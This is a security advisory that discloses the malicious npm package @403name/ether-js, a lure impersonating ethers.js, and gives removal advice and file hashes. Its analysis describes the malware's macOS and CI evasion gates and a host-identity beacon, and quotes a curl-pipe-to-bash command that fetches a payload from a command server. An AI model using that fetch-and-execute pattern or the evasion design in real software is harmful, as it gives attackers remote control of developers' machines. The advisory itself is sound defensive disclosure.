Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

@403name/ether-jsnpm

Malicious code in @403name/ether-js (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5548
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall @403name/ether-js

What this malware does

On require('@403name/ether-js'), index.js runs an IIFE that targets macOS only (returns early on non-darwin and when CI/GITHUB_ACTIONS env vars are set), writes a one-shot marker at ~/.cache/.nyx-npm/e, waits a randomized 30-90s, then fetches a C2 base URL from https://raw.githubusercontent.com/nyx-deploy/config/main/c2.txt. It beacons the installer's USER env var and os.hostname() to <c2>/api/clickfix-callback via curl, then spawns '/bin/sh -c' with curl -sSfL <c2>/api/payload/ | /bin/bash (detached, disowned) — full remote code execution on the developer's machine under attacker control. A Russian-language comment in the source explicitly states the design avoids lifecycle scripts to be 'invisible to npm audit'. The package name and description impersonate the popular ethers.js library ('Compatible with ethers.js API patterns for easy migration'), and the shipped keccak256 is a stub returning random hex rather than a real hash — confirming the package is a lure, not a functional library. The evasion pattern (platform gate, CI gate, randomized delay, one-shot marker) combined with the two-stage dead-drop-to-C2 fetch-and-exec is conclusive malicious intent.

Malicious versions

2 flagged
1.0.01.0.1

Indicators of compromise (SHA-256)

1b8b80784e81444c1b77d58f0b521b3ddb96f91d634bce1f91a0ff6b2f2547de
927758f43d6eaa6514273bd8ab8f3559624055b9bbf8c9ef9a190b645c0a6eef

Frequently asked questions

No. @403name/ether-js on npm has been identified as a malicious package (versions 1.0.0, 1.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005447IN-MAL-2026-005450

References

Credits

  • Amazon Inspector · finder

Scan your dependencies

O3 Security blocks malicious packages like this at install time and in CI.

Supply-chain protection
@403name/ether-js (npm) malicious package — MAL-2026-5548 | O3 Security